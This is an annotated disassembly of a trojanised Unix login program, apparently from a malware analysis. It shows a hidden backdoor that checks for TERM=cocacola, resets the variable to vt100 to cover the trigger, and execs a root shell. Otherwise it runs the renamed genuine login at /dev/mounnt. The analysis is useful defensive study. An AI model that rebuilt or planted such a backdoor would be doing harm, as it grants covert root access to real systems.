Disassembled output of trojanised login, only the main function and the backdoor check function is shown. Listing of the main function ============================ .text:080484E0 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ .text:080484E0 .text:080484E0 ; Attributes: bp-based frame .text:080484E0 .text:080484E0 sub_80484E0 proc near ; DATA XREF: start+17o .text:080484E0 .text:080484E0 var_8 = dword ptr -8 .text:080484E0 var_4 = dword ptr -4 .text:080484E0 arg_4 = dword ptr 0Ch .text:080484E0 arg_8 = dword ptr 10h .text:080484E0 .text:080484E0 push ebp .text:080484E1 mov ebp, esp .text:080484E3 sub esp, 8 .text:080484E6 mov eax, [ebp+arg_4] .text:080484E9 mov ds:dword_8049814, eax .text:080484EE mov eax, [ebp+arg_8] .text:080484F1 mov ds:dword_8049818, eax .text:080484F6 mov eax, ds:dword_8049814 .text:080484FB mov dword ptr [eax], offset aLogin ; "login" .text:08048501 call CheckEnvVar ; set eax=1 if TERM=cocacola, 0 otherwise. .text:08048506 mov eax, eax .text:08048508 test eax, eax ; eax==0 => proceed with normal login .text:08048508 ; eax==1 => present root shell .text:0804850A jz short OriginalLogin .text:0804850C lea eax, [ebp+var_8] .text:0804850F mov [ebp+var_8], offset aLogin ; "login" .text:08048516 mov [ebp+var_4], 0 .text:0804851D mov eax, ds:dword_8049818 .text:08048522 push eax .text:08048523 lea eax, [ebp+var_8] .text:08048526 push eax .text:08048527 push offset aBinSh ; present root shell .text:0804852C call _execve .text:08048531 add esp, 0Ch .text:08048534 xor eax, eax .text:08048536 jmp short locret_8048555 .text:08048538 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .text:08048538 .text:08048538 OriginalLogin: ; CODE XREF: sub_80484E0+2Aj .text:08048538 mov eax, ds:dword_8049818 .text:0804853D push eax .text:0804853E mov eax, ds:dword_8049814 .text:08048543 push eax .text:08048544 push offset aDevMounnt ; "/dev/mounnt" .text:08048549 call _execve .text:0804854E add esp, 0Ch .text:08048551 xor eax, eax .text:08048553 jmp short $+2 .text:08048555 .text:08048555 locret_8048555: ; CODE XREF: sub_80484E0+56j .text:08048555 leave .text:08048556 retn .text:08048556 sub_80484E0 endp .text:08048556 .text:08048556 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Listing of the backdoor check function ======================================= .text:08048558 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ .text:08048558 .text:08048558 ; set eax=1 if TERM=cocacola, 0 otherwise. .text:08048558 ; Attributes: bp-based frame .text:08048558 .text:08048558 CheckEnvVar proc near ; CODE XREF: sub_80484E0+21p .text:08048558 .text:08048558 var_70 = byte ptr -70h .text:08048558 var_C = dword ptr -0Ch .text:08048558 EnvVarVal = dword ptr -8 .text:08048558 EnvVarName = dword ptr -4 .text:08048558 .text:08048558 push ebp .text:08048559 mov ebp, esp .text:0804855B sub esp, 70h .text:0804855E nop .text:0804855F mov [ebp+var_C], 0 .text:08048566 .text:08048566 loc_8048566: ; CODE XREF: CheckEnvVar+10Cj .text:08048566 mov eax, [ebp+var_C] .text:08048569 lea edx, ds:0[eax*4] .text:08048570 mov eax, ds:dword_8049818 .text:08048575 cmp dword ptr [eax+edx], 0 .text:08048579 jnz short loc_8048580 .text:0804857B jmp loc_8048670 .text:08048580 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .text:08048580 .text:08048580 loc_8048580: ; CODE XREF: CheckEnvVar+21j .text:08048580 push offset asc_80486EA ; "=" .text:08048585 mov eax, [ebp+var_C] .text:08048588 lea edx, ds:0[eax*4] .text:0804858F mov eax, ds:dword_8049818 .text:08048594 mov edx, [eax+edx] .text:08048597 push edx .text:08048598 call _strtok .text:0804859D add esp, 8 .text:080485A0 mov eax, eax .text:080485A2 mov [ebp+EnvVarName], eax .text:080485A5 push offset asc_80486EA ; "=" .text:080485AA push 0 .text:080485AC call _strtok .text:080485B1 add esp, 8 .text:080485B4 mov eax, eax .text:080485B6 mov [ebp+EnvVarVal], eax .text:080485B9 cmp [ebp+EnvVarName], 0 .text:080485BD jz short loc_80485C7 .text:080485BF cmp [ebp+EnvVarVal], 0 .text:080485C3 jnz short loc_80485D0 .text:080485C5 jmp short $+2 .text:080485C7 .text:080485C7 loc_80485C7: ; CODE XREF: CheckEnvVar+65j .text:080485C7 jmp NotTermEqCocacola .text:080485C7 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .text:080485CC align 8 .text:080485D0 .text:080485D0 loc_80485D0: ; CODE XREF: CheckEnvVar+6Bj .text:080485D0 push offset aTerm ; "TERM" .text:080485D5 call _strlen .text:080485DA add esp, 4 .text:080485DD mov eax, eax .text:080485DF push eax .text:080485E0 push offset aTerm ; "TERM" .text:080485E5 mov eax, [ebp+EnvVarName] .text:080485E8 push eax .text:080485E9 call _strncmp ; EnvVarName==TERM?? .text:080485EE add esp, 0Ch .text:080485F1 mov eax, eax .text:080485F3 test eax, eax .text:080485F5 jnz short NotTermEqCocacola .text:080485F7 push offset aCocacola ; "cocacola" .text:080485FC call _strlen .text:08048601 add esp, 4 .text:08048604 mov eax, eax .text:08048606 push eax .text:08048607 push offset aCocacola ; "cocacola" .text:0804860C mov eax, [ebp+EnvVarVal] .text:0804860F push eax .text:08048610 call _strncmp ; EnvVarVal==cocacola?? .text:08048615 add esp, 0Ch .text:08048618 mov eax, eax .text:0804861A test eax, eax .text:0804861C jnz short NotTermEqCocacola .text:0804861E push offset aVt100 ; "vt100" .text:08048623 push offset aTerm ; "TERM" .text:08048628 push offset aSS ; "%s=%s" .text:0804862D lea eax, [ebp+var_70] .text:08048630 push eax .text:08048631 call _sprintf .text:08048636 add esp, 10h .text:08048639 lea eax, [ebp+var_70] .text:0804863C push eax .text:0804863D call _strdup .text:08048642 add esp, 4 .text:08048645 mov eax, eax .text:08048647 mov edx, [ebp+var_C] .text:0804864A lea ecx, ds:0[edx*4] .text:08048651 mov edx, ds:dword_8049818 .text:08048657 mov [edx+ecx], eax .text:0804865A mov eax, 1 .text:0804865F jmp short locret_8048674 .text:08048661 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .text:08048661 .text:08048661 NotTermEqCocacola: ; CODE XREF: CheckEnvVar+6Fj .text:08048661 ; CheckEnvVar+9Dj ... .text:08048661 inc [ebp+var_C] .text:08048664 jmp loc_8048566 .text:08048664 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .text:08048669 align 8 .text:08048670 .text:08048670 loc_8048670: ; CODE XREF: CheckEnvVar+23j .text:08048670 xor eax, eax .text:08048672 jmp short $+2 .text:08048674 .text:08048674 locret_8048674: ; CODE XREF: CheckEnvVar+107j .text:08048674 leave .text:08048675 retn .text:08048675 CheckEnvVar endp .text:08048675 .text:08048675 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ